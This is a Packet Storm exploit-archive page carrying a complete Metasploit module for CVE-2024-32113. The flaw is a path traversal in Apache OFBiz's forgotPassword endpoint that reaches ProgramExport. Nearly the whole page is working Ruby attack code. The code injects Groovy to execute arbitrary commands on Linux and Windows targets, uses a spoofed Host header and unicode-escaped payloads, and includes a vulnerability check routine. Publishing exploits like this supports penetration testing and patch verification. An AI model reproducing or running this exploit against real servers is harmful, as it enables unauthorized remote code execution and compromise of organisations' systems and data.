what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Apache OFBiz Forgot Password Directory Traversal

Apache OFBiz Forgot Password Directory Traversal
Posted Jun 18, 2024
Authored by jheysel-r7, Mr-xn | Site metasploit.com

Apache OFBiz versions prior to 18.12.13 are vulnerable to a path traversal vulnerability. The vulnerable endpoint /webtools/control/forgotPassword allows an attacker to access the ProgramExport endpoint which in turn allows for remote code execution in the context of the user running the application.

tags | exploit, remote, code execution
advisories | CVE-2024-32113
SHA-256 | 95a799d52023de4e870b8e6e3293276e9dc9c6116e4ec377371d107ab468f276

Apache OFBiz Forgot Password Directory Traversal

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache OFBiz Forgot Password Directory Traversal',
'Description' => %q{
Apache OFBiz versions prior to 18.12.13 are vulnerable to a path traversal vulnerability. The vulnerable
endpoint /webtools/control/forgotPassword allows an attacker to access the ProgramExport endpoint which in
turn allows for remote code execution in the context of the user running the application.
},
'Author' => [
'Mr-xn', # PoC
'jheysel-r7' # module
],
'References' => [
[ 'URL', 'https://github.com/Mr-xn/CVE-2024-32113'],
[ 'URL', 'https://xz.aliyun.com/t/14733?time__1311=mqmx9Qwx0WDsd5YK0%3Dai%3Dmd7KbxGupD&alichlgref=https%3A%2F%2Fgithub.com%2FMr-xn%2FCVE-2024-32113'],
[ 'CVE', '2024-32113']
],
'License' => MSF_LICENSE,
'Platform' => %w[linux win],
'Privileged' => true, # You get a root session when exploiting a docker container though user level session on Windows.
'Arch' => [ ARCH_CMD ],
'Targets' => [
[
'Linux Command',
{
'Platform' => ['linux', 'unix'],
'Arch' => [ARCH_CMD],
'Type' => :unix_cmd
}
],
[
'Windows Command',
{
'Platform' => ['win'],
'Arch' => [ARCH_CMD],
'Type' => :win_cmd
}
],
],
'Payload' => {
'BadChars' => "\x3a"
},
'DefaultTarget' => 0,
'DisclosureDate' => '2024-05-30',
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, ],
'Reliability' => [ REPEATABLE_SESSION, ]
},
'DefaultOptions' => {
'SSL' => true,
'RPORT' => 8443
}
)
)
end

def send_cmd_injection(cmd)
data = "groovyProgram=throw+new+Exception('#{cmd}'.execute().text);"
send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/webtools/control/forgotPassword;/ProgramExport'),
'headers' => {
'HOST' => '127.0.0.1'
},
'method' => 'POST',
'data' => data
})
end

def check
echo_test_string = rand_text_alpha(8..12)
case target['Type']
when :win_cmd
test_payload = to_unicode_escape("cmd.exe /c echo #{echo_test_string}")
when :unix_cmd
test_payload = to_unicode_escape("echo #{echo_test_string}")
else
return CheckCode::Unknown('Please select a valid target')
end

res = send_cmd_injection(test_payload)
return CheckCode::Unknown('Target did not respond to check.') unless res

unless res.get_html_document&.xpath("//div[@class='content-messages errorMessage' and .//p[contains(text(), 'java.lang.Exception: #{echo_test_string}')]]")&.empty?
return CheckCode::Vulnerable('Tested remote code execution successfully')
end

CheckCode::Safe('Attempting to exploit vulnerability failed.')
end

def to_unicode_escape(str)
str.chars.map { |char| '\\u%04x' % char.ord }.join
end

def exploit
print_status('Attempting to exploit...')
res = ''
case target['Type']
when :win_cmd
res = send_cmd_injection(payload.encoded)
when :unix_cmd
res = send_cmd_injection(to_unicode_escape("sh -c $@|sh . echo #{payload.raw}"))
else
fail_with(Failure::BadConfig, 'Invalid target specified')
end
print_error('The target responded to the exploit attempt which is not expected. The exploit likely failed') if res
end
end
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    0 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close